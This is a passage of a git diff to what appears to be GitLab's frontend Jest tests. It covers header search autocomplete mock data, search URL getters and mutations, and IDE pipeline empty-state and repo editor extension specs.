@@ -69,22 +74,25 @@ export const MOCK_DEFAULT_SEARCH_OPTIONS = [
export const MOCK_SCOPED_SEARCH_OPTIONS = [
{
+ html_id: 'scoped-in-project',
scope: MOCK_PROJECT.name,
description: MSG_IN_PROJECT,
url: MOCK_PROJECT.path,
},
{
+ html_id: 'scoped-in-group',
scope: MOCK_GROUP.name,
description: MSG_IN_GROUP,
url: MOCK_GROUP.path,
},
{
+ html_id: 'scoped-in-all',
description: MSG_IN_ALL_GITLAB,
url: MOCK_ALL_PATH,
},
];
-export const MOCK_AUTOCOMPLETE_OPTIONS = [
+export const MOCK_AUTOCOMPLETE_OPTIONS_RES = [
{
category: 'Projects',
id: 1,
@@ -92,19 +100,49 @@ export const MOCK_AUTOCOMPLETE_OPTIONS = [
url: 'project/1',
},
{
+ category: 'Groups',
+ id: 1,
+ label: 'MockGroup1',
+ url: 'group/1',
+ },
+ {
category: 'Projects',
id: 2,
label: 'MockProject2',
url: 'project/2',
},
{
+ category: 'Help',
+ label: 'GitLab Help',
+ url: 'help/gitlab',
+ },
+];
+
+export const MOCK_AUTOCOMPLETE_OPTIONS = [
+ {
+ category: 'Projects',
+ html_id: 'autocomplete-Projects-0',
+ id: 1,
+ label: 'MockProject1',
+ url: 'project/1',
+ },
+ {
category: 'Groups',
+ html_id: 'autocomplete-Groups-1',
id: 1,
label: 'MockGroup1',
url: 'group/1',
},
{
+ category: 'Projects',
+ html_id: 'autocomplete-Projects-2',
+ id: 2,
+ label: 'MockProject2',
+ url: 'project/2',
+ },
+ {
category: 'Help',
+ html_id: 'autocomplete-Help-3',
label: 'GitLab Help',
url: 'help/gitlab',
},
@@ -116,12 +154,16 @@ export const MOCK_GROUPED_AUTOCOMPLETE_OPTIONS = [
data: [
{
category: 'Projects',
+ html_id: 'autocomplete-Projects-0',
+
id: 1,
label: 'MockProject1',
url: 'project/1',
},
{
category: 'Projects',
+ html_id: 'autocomplete-Projects-2',
+
id: 2,
label: 'MockProject2',
url: 'project/2',
@@ -133,6 +175,8 @@ export const MOCK_GROUPED_AUTOCOMPLETE_OPTIONS = [
data: [
{
category: 'Groups',
+ html_id: 'autocomplete-Groups-1',
+
id: 1,
label: 'MockGroup1',
url: 'group/1',
@@ -144,9 +188,41 @@ export const MOCK_GROUPED_AUTOCOMPLETE_OPTIONS = [
data: [
{
category: 'Help',
+ html_id: 'autocomplete-Help-3',
+
label: 'GitLab Help',
url: 'help/gitlab',
},
],
},
];
+
+export const MOCK_SORTED_AUTOCOMPLETE_OPTIONS = [
+ {
+ category: 'Projects',
+ html_id: 'autocomplete-Projects-0',
+ id: 1,
+ label: 'MockProject1',
+ url: 'project/1',
+ },
+ {
+ category: 'Projects',
+ html_id: 'autocomplete-Projects-2',
+ id: 2,
+ label: 'MockProject2',
+ url: 'project/2',
+ },
+ {
+ category: 'Groups',
+ html_id: 'autocomplete-Groups-1',
+ id: 1,
+ label: 'MockGroup1',
+ url: 'group/1',
+ },
+ {
+ category: 'Help',
+ html_id: 'autocomplete-Help-3',
+ label: 'GitLab Help',
+ url: 'help/gitlab',
+ },
+];
diff --git a/spec/frontend/header_search/store/actions_spec.js b/spec/frontend/header_search/store/actions_spec.js
index ee2c72df77b..6599115f017 100644
--- a/spec/frontend/header_search/store/actions_spec.js
+++ b/spec/frontend/header_search/store/actions_spec.js
@@ -5,7 +5,7 @@ import * as actions from '~/header_search/store/actions';
import * as types from '~/header_search/store/mutation_types';
import createState from '~/header_search/store/state';
import axios from '~/lib/utils/axios_utils';
-import { MOCK_SEARCH, MOCK_AUTOCOMPLETE_OPTIONS } from '../mock_data';
+import { MOCK_SEARCH, MOCK_AUTOCOMPLETE_OPTIONS_RES } from '../mock_data';
jest.mock('~/flash');
@@ -29,9 +29,9 @@ describe('Header Search Store Actions', () => {
});
describe.each`
- axiosMock | type | expectedMutations | flashCallCount
- ${{ method: 'onGet', code: 200, res: MOCK_AUTOCOMPLETE_OPTIONS }} | ${'success'} | ${[{ type: types.REQUEST_AUTOCOMPLETE }, { type: types.RECEIVE_AUTOCOMPLETE_SUCCESS, payload: MOCK_AUTOCOMPLETE_OPTIONS }]} | ${0}
- ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_AUTOCOMPLETE }, { type: types.RECEIVE_AUTOCOMPLETE_ERROR }]} | ${1}
+ axiosMock | type | expectedMutations | flashCallCount
+ ${{ method: 'onGet', code: 200, res: MOCK_AUTOCOMPLETE_OPTIONS_RES }} | ${'success'} | ${[{ type: types.REQUEST_AUTOCOMPLETE }, { type: types.RECEIVE_AUTOCOMPLETE_SUCCESS, payload: MOCK_AUTOCOMPLETE_OPTIONS_RES }]} | ${0}
+ ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_AUTOCOMPLETE }, { type: types.RECEIVE_AUTOCOMPLETE_ERROR }]} | ${1}
`('fetchAutocompleteOptions', ({ axiosMock, type, expectedMutations, flashCallCount }) => {
describe(`on ${type}`, () => {
beforeEach(() => {
@@ -47,6 +47,16 @@ describe('Header Search Store Actions', () => {
});
});
+ describe('clearAutocomplete', () => {
+ it('calls the CLEAR_AUTOCOMPLETE mutation', () => {
+ return testAction({
+ action: actions.clearAutocomplete,
+ state,
+ expectedMutations: [{ type: types.CLEAR_AUTOCOMPLETE }],
+ });
+ });
+ });
+
describe('setSearch', () => {
it('calls the SET_SEARCH mutation', () => {
return testAction({
diff --git a/spec/frontend/header_search/store/getters_spec.js b/spec/frontend/header_search/store/getters_spec.js
index d55db07188e..35d1bf350d7 100644
--- a/spec/frontend/header_search/store/getters_spec.js
+++ b/spec/frontend/header_search/store/getters_spec.js
@@ -15,6 +15,7 @@ import {
MOCK_SEARCH,
MOCK_AUTOCOMPLETE_OPTIONS,
MOCK_GROUPED_AUTOCOMPLETE_OPTIONS,
+ MOCK_SORTED_AUTOCOMPLETE_OPTIONS,
} from '../mock_data';
describe('Header Search Store Getters', () => {
@@ -36,18 +37,20 @@ describe('Header Search Store Getters', () => {
});
describe.each`
- group | project | expectedPath
- ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=undefined&group_id=undefined&scope=issues`}
- ${MOCK_GROUP} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=undefined&group_id=${MOCK_GROUP.id}&scope=issues`}
- ${MOCK_GROUP} | ${MOCK_PROJECT} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}&scope=issues`}
- `('searchQuery', ({ group, project, expectedPath }) => {
- describe(`when group is ${group?.name} and project is ${project?.name}`, () => {
+ group | project | scope | expectedPath
+ ${null} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}`}
+ ${null} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${'issues'} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}&scope=issues`}
+ `('searchQuery', ({ group, project, scope, expectedPath }) => {
+ describe(`when group is ${group?.name}, project is ${project?.name}, and scope is ${scope}`, () => {
beforeEach(() => {
createState({
searchContext: {
group,
project,
- scope: 'issues',
+ scope,
},
});
state.search = MOCK_SEARCH;
@@ -61,8 +64,9 @@ describe('Header Search Store Getters', () => {
describe.each`
project | ref | expectedPath
- ${null} | ${null} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}&project_id=undefined&project_ref=null`}
- ${MOCK_PROJECT} | ${null} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}&project_id=${MOCK_PROJECT.id}&project_ref=null`}
+ ${null} | ${null} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}`}
+ ${MOCK_PROJECT} | ${null} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}&project_id=${MOCK_PROJECT.id}`}
+ ${null} | ${MOCK_PROJECT.id} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}&project_ref=${MOCK_PROJECT.id}`}
${MOCK_PROJECT} | ${MOCK_PROJECT.id} | ${`${MOCK_AUTOCOMPLETE_PATH}?term=${MOCK_SEARCH}&project_id=${MOCK_PROJECT.id}&project_ref=${MOCK_PROJECT.id}`}
`('autocompleteQuery', ({ project, ref, expectedPath }) => {
describe(`when project is ${project?.name} and project ref is ${ref}`, () => {
@@ -131,18 +135,20 @@ describe('Header Search Store Getters', () => {
});
describe.each`
- group | project | expectedPath
- ${null} | ${null} | ${null}
- ${MOCK_GROUP} | ${null} | ${null}
- ${MOCK_GROUP} | ${MOCK_PROJECT} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}&scope=issues`}
- `('projectUrl', ({ group, project, expectedPath }) => {
- describe(`when group is ${group?.name} and project is ${project?.name}`, () => {
+ group | project | scope | expectedPath
+ ${null} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}`}
+ ${null} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${'issues'} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&project_id=${MOCK_PROJECT.id}&group_id=${MOCK_GROUP.id}&scope=issues`}
+ `('projectUrl', ({ group, project, scope, expectedPath }) => {
+ describe(`when group is ${group?.name}, project is ${project?.name}, and scope is ${scope}`, () => {
beforeEach(() => {
createState({
searchContext: {
group,
project,
- scope: 'issues',
+ scope,
},
});
state.search = MOCK_SEARCH;
@@ -155,18 +161,20 @@ describe('Header Search Store Getters', () => {
});
describe.each`
- group | project | expectedPath
- ${null} | ${null} | ${null}
- ${MOCK_GROUP} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}&scope=issues`}
- ${MOCK_GROUP} | ${MOCK_PROJECT} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}&scope=issues`}
- `('groupUrl', ({ group, project, expectedPath }) => {
- describe(`when group is ${group?.name} and project is ${project?.name}`, () => {
+ group | project | scope | expectedPath
+ ${null} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}`}
+ ${null} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${'issues'} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&group_id=${MOCK_GROUP.id}&scope=issues`}
+ `('groupUrl', ({ group, project, scope, expectedPath }) => {
+ describe(`when group is ${group?.name}, project is ${project?.name}, and scope is ${scope}`, () => {
beforeEach(() => {
createState({
searchContext: {
group,
project,
- scope: 'issues',
+ scope,
},
});
state.search = MOCK_SEARCH;
@@ -178,20 +186,29 @@ describe('Header Search Store Getters', () => {
});
});
- describe('allUrl', () => {
- const expectedPath = `${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&scope=issues`;
-
- beforeEach(() => {
- createState({
- searchContext: {
- scope: 'issues',
- },
+ describe.each`
+ group | project | scope | expectedPath
+ ${null} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${null} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${null} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${null} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar`}
+ ${MOCK_GROUP} | ${MOCK_PROJECT} | ${'issues'} | ${`${MOCK_SEARCH_PATH}?search=${MOCK_SEARCH}&nav_source=navbar&scope=issues`}
+ `('allUrl', ({ group, project, scope, expectedPath }) => {
+ describe(`when group is ${group?.name}, project is ${project?.name}, and scope is ${scope}`, () => {
+ beforeEach(() => {
+ createState({
+ searchContext: {
+ group,
+ project,
+ scope,
+ },
+ });
+ state.search = MOCK_SEARCH;
});
- state.search = MOCK_SEARCH;
- });
- it(`should return ${expectedPath}`, () => {
- expect(getters.allUrl(state)).toBe(expectedPath);
+ it(`should return ${expectedPath}`, () => {
+ expect(getters.allUrl(state)).toBe(expectedPath);
+ });
});
});
@@ -248,4 +265,44 @@ describe('Header Search Store Getters', () => {
);
});
});
+
+ describe.each`
+ search | defaultSearchOptions | scopedSearchOptions | autocompleteGroupedSearchOptions | expectedArray
+ ${null} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${MOCK_SCOPED_SEARCH_OPTIONS} | ${MOCK_GROUPED_AUTOCOMPLETE_OPTIONS} | ${MOCK_DEFAULT_SEARCH_OPTIONS}
+ ${MOCK_SEARCH} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${MOCK_SCOPED_SEARCH_OPTIONS} | ${[]} | ${MOCK_SCOPED_SEARCH_OPTIONS}
+ ${MOCK_SEARCH} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${[]} | ${MOCK_GROUPED_AUTOCOMPLETE_OPTIONS} | ${MOCK_SORTED_AUTOCOMPLETE_OPTIONS}
+ ${MOCK_SEARCH} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${MOCK_SCOPED_SEARCH_OPTIONS} | ${MOCK_GROUPED_AUTOCOMPLETE_OPTIONS} | ${MOCK_SCOPED_SEARCH_OPTIONS.concat(MOCK_SORTED_AUTOCOMPLETE_OPTIONS)}
+ `(
+ 'searchOptions',
+ ({
+ search,
+ defaultSearchOptions,
+ scopedSearchOptions,
+ autocompleteGroupedSearchOptions,
+ expectedArray,
+ }) => {
+ describe(`when search is ${search} and the defaultSearchOptions${
+ defaultSearchOptions.length ? '' : ' do not'
+ } exist, scopedSearchOptions${
+ scopedSearchOptions.length ? '' : ' do not'
+ } exist, and autocompleteGroupedSearchOptions${
+ autocompleteGroupedSearchOptions.length ? '' : ' do not'
+ } exist`, () => {
+ const mockGetters = {
+ defaultSearchOptions,
+ scopedSearchOptions,
+ autocompleteGroupedSearchOptions,
+ };
+
+ beforeEach(() => {
+ createState();
+ state.search = search;
+ });
+
+ it(`should return the correct combined array`, () => {
+ expect(getters.searchOptions(state, mockGetters)).toStrictEqual(expectedArray);
+ });
+ });
+ },
+ );
});
diff --git a/spec/frontend/header_search/store/mutations_spec.js b/spec/frontend/header_search/store/mutations_spec.js
index 7f9b7631a7e..7bcf8e49118 100644
--- a/spec/frontend/header_search/store/mutations_spec.js
+++ b/spec/frontend/header_search/store/mutations_spec.js
@@ -1,7 +1,11 @@
import * as types from '~/header_search/store/mutation_types';
import mutations from '~/header_search/store/mutations';
import createState from '~/header_search/store/state';
-import { MOCK_SEARCH, MOCK_AUTOCOMPLETE_OPTIONS } from '../mock_data';
+import {
+ MOCK_SEARCH,
+ MOCK_AUTOCOMPLETE_OPTIONS_RES,
+ MOCK_AUTOCOMPLETE_OPTIONS,
+} from '../mock_data';
describe('Header Search Store Mutations', () => {
let state;
@@ -20,8 +24,8 @@ describe('Header Search Store Mutations', () => {
});
describe('RECEIVE_AUTOCOMPLETE_SUCCESS', () => {
- it('sets loading to false and sets autocompleteOptions array', () => {
- mutations[types.RECEIVE_AUTOCOMPLETE_SUCCESS](state, MOCK_AUTOCOMPLETE_OPTIONS);
+ it('sets loading to false and then formats and sets the autocompleteOptions array', () => {
+ mutations[types.RECEIVE_AUTOCOMPLETE_SUCCESS](state, MOCK_AUTOCOMPLETE_OPTIONS_RES);
expect(state.loading).toBe(false);
expect(state.autocompleteOptions).toStrictEqual(MOCK_AUTOCOMPLETE_OPTIONS);
@@ -37,6 +41,14 @@ describe('Header Search Store Mutations', () => {
});
});
+ describe('CLEAR_AUTOCOMPLETE', () => {
+ it('empties autocompleteOptions array', () => {
+ mutations[types.CLEAR_AUTOCOMPLETE](state);
+
+ expect(state.autocompleteOptions).toStrictEqual([]);
+ });
+ });
+
describe('SET_SEARCH', () => {
it('sets search to value', () => {
mutations[types.SET_SEARCH](state, MOCK_SEARCH);
diff --git a/spec/frontend/ide/components/ide_tree_list_spec.js b/spec/frontend/ide/components/ide_tree_list_spec.js
index 85d9feb0c09..ace51204374 100644
--- a/spec/frontend/ide/components/ide_tree_list_spec.js
+++ b/spec/frontend/ide/components/ide_tree_list_spec.js
@@ -38,9 +38,16 @@ describe('IDE tree list', () => {
beforeEach(() => {
bootstrapWithTree();
+ jest.spyOn(vm, '$emit').mockImplementation(() => {});
+
vm.$mount();
});
+ it('emits tree-ready event', () => {
+ expect(vm.$emit).toHaveBeenCalledTimes(1);
+ expect(vm.$emit).toHaveBeenCalledWith('tree-ready');
+ });
+
it('renders loading indicator', (done) => {
store.state.trees['abcproject/main'].loading = true;
@@ -61,9 +68,15 @@ describe('IDE tree list', () => {
beforeEach(() => {
bootstrapWithTree(emptyBranchTree);
+ jest.spyOn(vm, '$emit').mockImplementation(() => {});
+
vm.$mount();
});
+ it('still emits tree-ready event', () => {
+ expect(vm.$emit).toHaveBeenCalledWith('tree-ready');
+ });
+
it('does not load files if the branch is empty', () => {
expect(vm.$el.textContent).not.toContain('fileName');
expect(vm.$el.textContent).toContain('No files');
diff --git a/spec/frontend/ide/components/pipelines/__snapshots__/list_spec.js.snap b/spec/frontend/ide/components/pipelines/__snapshots__/list_spec.js.snap
index 47e3a56e83d..069b6927bac 100644
--- a/spec/frontend/ide/components/pipelines/__snapshots__/list_spec.js.snap
+++ b/spec/frontend/ide/components/pipelines/__snapshots__/list_spec.js.snap
@@ -6,10 +6,10 @@ exports[`IDE pipelines list when loaded renders empty state when no latestPipeli
>
<!---->
- <empty-state-stub
- cansetci="true"
- class="gl-p-5"
- emptystatesvgpath="http://test.host"
- />
+ <div
+ class="gl-h-full gl-display-flex gl-flex-direction-column gl-justify-content-center"
+ >
+ <empty-state-stub />
+ </div>
</div>
`;
diff --git a/spec/frontend/ide/components/pipelines/empty_state_spec.js b/spec/frontend/ide/components/pipelines/empty_state_spec.js
new file mode 100644
index 00000000000..f7409fc36be
--- /dev/null
+++ b/spec/frontend/ide/components/pipelines/empty_state_spec.js
@@ -0,0 +1,44 @@
+import { GlEmptyState } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import EmptyState from '~/ide/components/pipelines/empty_state.vue';
+import { createStore } from '~/ide/stores';
+
+const TEST_PIPELINES_EMPTY_STATE_SVG_PATH = 'illustrations/test/pipelines.svg';
+
+describe('~/ide/components/pipelines/empty_state.vue', () => {
+ let store;
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(EmptyState, {
+ store,
+ });
+ };
+
+ beforeEach(() => {
+ store = createStore();
+ store.dispatch('setEmptyStateSvgs', {
+ pipelinesEmptyStateSvgPath: TEST_PIPELINES_EMPTY_STATE_SVG_PATH,
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders empty state', () => {
+ expect(wrapper.find(GlEmptyState).props()).toMatchObject({
+ title: EmptyState.i18n.title,
+ description: EmptyState.i18n.description,
+ primaryButtonText: EmptyState.i18n.primaryButtonText,
+ primaryButtonLink: '/help/ci/quick_start/index.md',
+ svgPath: TEST_PIPELINES_EMPTY_STATE_SVG_PATH,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ide/components/pipelines/list_spec.js b/spec/frontend/ide/components/pipelines/list_spec.js
index a917f4c0230..8a3606e27eb 100644
--- a/spec/frontend/ide/components/pipelines/list_spec.js
+++ b/spec/frontend/ide/components/pipelines/list_spec.js
@@ -2,10 +2,10 @@ import { GlLoadingIcon, GlTab } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
-import { TEST_HOST } from 'helpers/test_constants';
import { pipelines } from 'jest/ide/mock_data';
import JobsList from '~/ide/components/jobs/list.vue';
import List from '~/ide/components/pipelines/list.vue';
+import EmptyState from '~/ide/components/pipelines/empty_state.vue';
import IDEServices from '~/ide/services';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
@@ -18,9 +18,6 @@ jest.mock('~/ide/services', () => ({
describe('IDE pipelines list', () => {
let wrapper;
- const defaultState = {
- pipelinesEmptyStateSvgPath: TEST_HOST,
- };
const defaultPipelinesState = {
stages: [],
failedStages: [],
@@ -38,7 +35,6 @@ describe('IDE pipelines list', () => {
currentProject: () => ({ web_url: 'some/url ', path_with_namespace: fakeProjectPath }),
},
state: {
- ...defaultState,
...rootState,
},
modules: {
@@ -131,6 +127,8 @@ describe('IDE pipelines list', () => {
it('renders empty state when no latestPipeline', () => {
createComponent({}, { ...defaultPipelinesLoadedState, latestPipeline: null });
+
+ expect(wrapper.find(EmptyState).exists()).toBe(true);
expect(wrapper.element).toMatchSnapshot();
});
diff --git a/spec/frontend/ide/components/repo_editor_spec.js b/spec/frontend/ide/components/repo_editor_spec.js
index c2212eea849..c957c64aa10 100644
--- a/spec/frontend/ide/components/repo_editor_spec.js
+++ b/spec/frontend/ide/components/repo_editor_spec.js
@@ -9,7 +9,7 @@ import waitUsingRealTimer from 'helpers/wait_using_real_timer';
import { exampleConfigs, exampleFiles } from 'jest/ide/lib/editorconfig/mock_data';
import { EDITOR_CODE_INSTANCE_FN, EDITOR_DIFF_INSTANCE_FN } from '~/editor/constants';
import { EditorMarkdownExtension } from '~/editor/extensions/source_editor_markdown_ext';
-import { EditorWebIdeExtension } from '~/editor/extensions/source_editor_webide_ext';
+import { EditorMarkdownPreviewExtension } from '~/editor/extensions/source_editor_markdown_livepreview_ext';
import SourceEditor from '~/editor/source_editor';
import RepoEditor from '~/ide/components/repo_editor.vue';
import {
@@ -23,6 +23,8 @@ import service from '~/ide/services';
import { createStoreOptions } from '~/ide/stores';
import axios from '~/lib/utils/axios_utils';
import ContentViewer from '~/vue_shared/components/content_viewer/content_viewer.vue';
+import SourceEditorInstance from '~/editor/source_editor_instance';
+import { spyOnApi } from 'jest/editor/helpers';
import { file } from '../helpers';
const PREVIEW_MARKDOWN_PATH = '/foo/bar/preview_markdown';
@@ -101,6 +103,7 @@ describe('RepoEditor', () => {
let createDiffInstanceSpy;
let createModelSpy;
let applyExtensionSpy;
+ let extensionsStore;
const waitForEditorSetup = () =>
new Promise((resolve) => {
@@ -120,6 +123,7 @@ describe('RepoEditor', () => {
});
await waitForPromises();
vm = wrapper.vm;
+ extensionsStore = wrapper.vm.globalEditor.extensionsStore;
jest.spyOn(vm, 'getFileData').mockResolvedValue();
jest.spyOn(vm, 'getRawFileData').mockResolvedValue();
};
@@ -127,28 +131,12 @@ describe('RepoEditor', () => {
const findEditor = () => wrapper.find('[data-testid="editor-container"]');
const findTabs = () => wrapper.findAll('.ide-mode-tabs .nav-links li');
const findPreviewTab = () => wrapper.find('[data-testid="preview-tab"]');
- const expectEditorMarkdownExtension = (shouldHaveExtension) => {
- if (shouldHaveExtension) {
- expect(applyExtensionSpy).toHaveBeenCalledWith(
- wrapper.vm.editor,
- expect.any(EditorMarkdownExtension),
- );
- // TODO: spying on extensions causes Jest to blow up, so we have to assert on
- // the public property the extension adds, as opposed to the args passed to the ctor
- expect(wrapper.vm.editor.previewMarkdownPath).toBe(PREVIEW_MARKDOWN_PATH);
- } else {
- expect(applyExtensionSpy).not.toHaveBeenCalledWith(
- wrapper.vm.editor,
- expect.any(EditorMarkdownExtension),
- );
- }
- };
beforeEach(() => {
createInstanceSpy = jest.spyOn(SourceEditor.prototype, EDITOR_CODE_INSTANCE_FN);
createDiffInstanceSpy = jest.spyOn(SourceEditor.prototype, EDITOR_DIFF_INSTANCE_FN);
createModelSpy = jest.spyOn(monacoEditor, 'createModel');
- applyExtensionSpy = jest.spyOn(SourceEditor, 'instanceApplyExtension');
+ applyExtensionSpy = jest.spyOn(SourceEditorInstance.prototype, 'use');
jest.spyOn(service, 'getFileData').mockResolvedValue();
jest.spyOn(service, 'getRawFileData').mockResolvedValue();
});
@@ -275,14 +263,13 @@ describe('RepoEditor', () => {
);
it('installs the WebIDE extension', async () => {
- const extensionSpy = jest.spyOn(SourceEditor, 'instanceApplyExtension');
await createComponent();
- expect(extensionSpy).toHaveBeenCalled();
- Reflect.ownKeys(EditorWebIdeExtension.prototype)
- .filter((fn) => fn !== 'constructor')
- .forEach((fn) => {
- expect(vm.editor[fn]).toBe(EditorWebIdeExtension.prototype[fn]);
- });
+ expect(applyExtensionSpy).toHaveBeenCalled();
+ const ideExtensionApi = extensionsStore.get('EditorWebIde').api;
+ Reflect.ownKeys(ideExtensionApi).forEach((fn) => {
+ expect(vm.editor[fn]).toBeDefined();
+ expect(vm.editor.methods[fn]).toBe('EditorWebIde');
+ });
});
it.each`
@@ -301,7 +288,20 @@ describe('RepoEditor', () => {
async ({ activeFile, viewer, shouldHaveMarkdownExtension } = {}) => {
await createComponent({ state: { viewer }, activeFile });
- expectEditorMarkdownExtension(shouldHaveMarkdownExtension);
+ if (shouldHaveMarkdownExtension) {
+ expect(applyExtensionSpy).toHaveBeenCalledWith({
+ definition: EditorMarkdownPreviewExtension,
+ setupOptions: { previewMarkdownPath: PREVIEW_MARKDOWN_PATH },
+ });
+ // TODO: spying on extensions causes Jest to blow up, so we have to assert on
+ // the public property the extension adds, as opposed to the args passed to the ctor
+ expect(wrapper.vm.editor.markdownPreview.path).toBe(PREVIEW_MARKDOWN_PATH);
+ } else {
+ expect(applyExtensionSpy).not.toHaveBeenCalledWith(
+ wrapper.vm.editor,
+ expect.any(EditorMarkdownExtension),
+ );
+ }
},
);
});
@@ -329,18 +329,6 @@ describe('RepoEditor', () => {
expect(vm.model).toBe(existingModel);
});
- it('adds callback methods', () => {
- jest.spyOn(vm.editor, 'onPositionChange');
- jest.spyOn(vm.model, 'onChange');
- jest.spyOn(vm.model, 'updateOptions');
-
- vm.setupEditor();
-
- expect(vm.editor.onPositionChange).toHaveBeenCalledTimes(1);
- expect(vm.model.onChange).toHaveBeenCalledTimes(1);
- expect(vm.model.updateOptions).toHaveBeenCalledWith(vm.rules);
- });
-
it('updates state with the value of the model', () => {
const newContent = 'As Gregor Samsa\n awoke one morning\n';
vm.model.setValue(newContent);
@@ -366,53 +354,48 @@ describe('RepoEditor', () => {
describe('editor updateDimensions', () => {
let updateDimensionsSpy;
- let updateDiffViewSpy;
beforeEach(async () => {
await createComponent();
- updateDimensionsSpy = jest.spyOn(vm.editor, 'updateDimensions');
- updateDiffViewSpy = jest.spyOn(vm.editor, 'updateDiffView').mockImplementation();
+ const ext = extensionsStore.get('EditorWebIde');
+ updateDimensionsSpy = jest.fn();
+ spyOnApi(ext, {
+ updateDimensions: updateDimensionsSpy,
+ });
});
it('calls updateDimensions only when panelResizing is false', async () => {
expect(updateDimensionsSpy).not.toHaveBeenCalled();
- expect(updateDiffViewSpy).not.toHaveBeenCalled();
expect(vm.$store.state.panelResizing).toBe(false); // default value
vm.$store.state.panelResizing = true;
await vm.$nextTick();
expect(updateDimensionsSpy).not.toHaveBeenCalled();
- expect(updateDiffViewSpy).not.toHaveBeenCalled();
vm.$store.state.panelResizing = false;
await vm.$nextTick();
expect(updateDimensionsSpy).toHaveBeenCalledTimes(1);
- expect(updateDiffViewSpy).toHaveBeenCalledTimes(1);
vm.$store.state.panelResizing = true;
await vm.$nextTick();
expect(updateDimensionsSpy).toHaveBeenCalledTimes(1);
- expect(updateDiffViewSpy).toHaveBeenCalledTimes(1);
});
it('calls updateDimensions when rightPane is toggled', async () => {
expect(updateDimensionsSpy).not.toHaveBeenCalled();
- expect(updateDiffViewSpy).not.toHaveBeenCalled();
expect(vm.$store.state.rightPane.isOpen).toBe(false); // default value
